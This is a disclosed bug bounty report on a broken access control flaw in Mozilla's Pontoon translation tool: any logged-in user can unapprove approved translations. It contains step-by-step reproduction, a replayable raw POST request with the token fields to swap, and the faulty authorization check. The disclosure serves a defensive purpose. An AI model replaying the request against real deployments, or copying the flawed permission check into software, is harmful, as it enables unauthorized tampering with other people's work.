[Vertical Privilege Escalation] User can Unapproved any Approved Translation at [/translations/unapprove/]

Disclosed: 2026-04-10 01:13:22 By adilnbabras To mozilla
Medium
Vulnerability Details
Hi, team. During testing, I discovered that only privileged users or translation owners can unapprove an approved translation, but due to logical errors, any logged-in user can unapprove any approved translation. ## Steps To Reproduce: - Go to `https://mozilla-pontoon-staging.herokuapp.com/` and log in to your account. - Click on `Teams` and select any team from the menu. {F4104059} {F4104060} - Now, from the next menu, select any project and then select any resource you want. {F4104061} {F4104062} - After that, you will have a list of strings that you can translate. {F4104063} - Select any string and you will see an already approved translation with green `tick` symbol. {F4104065} - You can check that you can't unapprove that translation because you don't have the required privileges. - Now, prepare your proxy to capture requests and reload that page. - In proxy history, you will see a request to the`/get-history/` endpoint. Like this one. {F4104071} - In response to that request, you will find the approved translation `ID`. Copy that. {F4104072} - Now replace the session cookies, Anti-CSRF token, and Translation ID in this request and send this request. ``` POST /translations/unapprove/ HTTP/1.1 Host: mozilla-pontoon-staging.herokuapp.com Cookie: ███ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Prefer: safe Referer: https://mozilla-pontoon-staging.herokuapp.com/nl/amo-frontend/LC_MESSAGES/amo.po/?string=175106 X-Csrftoken: ZhBI0LAYVXMG0ZNaUkqXMClUDquhZsfC8o1AlKRQTdTeJ4SCBXLDyi7aw0bWBBxx X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Content-Length: 52 Origin: https://mozilla-pontoon-staging.herokuapp.com Dnt: 1 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers Connection: keep-alive translation=5184479&paths%5B%5D=LC_MESSAGES%2Famo.po ``` - You will see `200 OK `response. - Reload the page, and you will see that the translation has been unapproved by a non-privileged user. ██████ - This is the code snippet responsible for the bug. `https://github.com/mozilla/pontoon/blob/main/pontoon/translations/views.py#L361` ```python # Only privileged users or authors can un-approve translations if not ( request.user.can_translate(locale, project) or request.user == translation.user or translation.approved ): return JsonResponse( { "status": False, "message": "Forbidden: You can't unapprove this translation.", }, status=403, ) translation.unapprove(request.user) ``` - Here the developer checks if `translation.approved` then if statement has been bypassed and translation get unapproved. ## Impact The user can perform actions that he is not authorized to do.
Actions
View on HackerOne
Report Stats
  • Report ID: 3020021
  • State: Closed
  • Substate: resolved
Share this report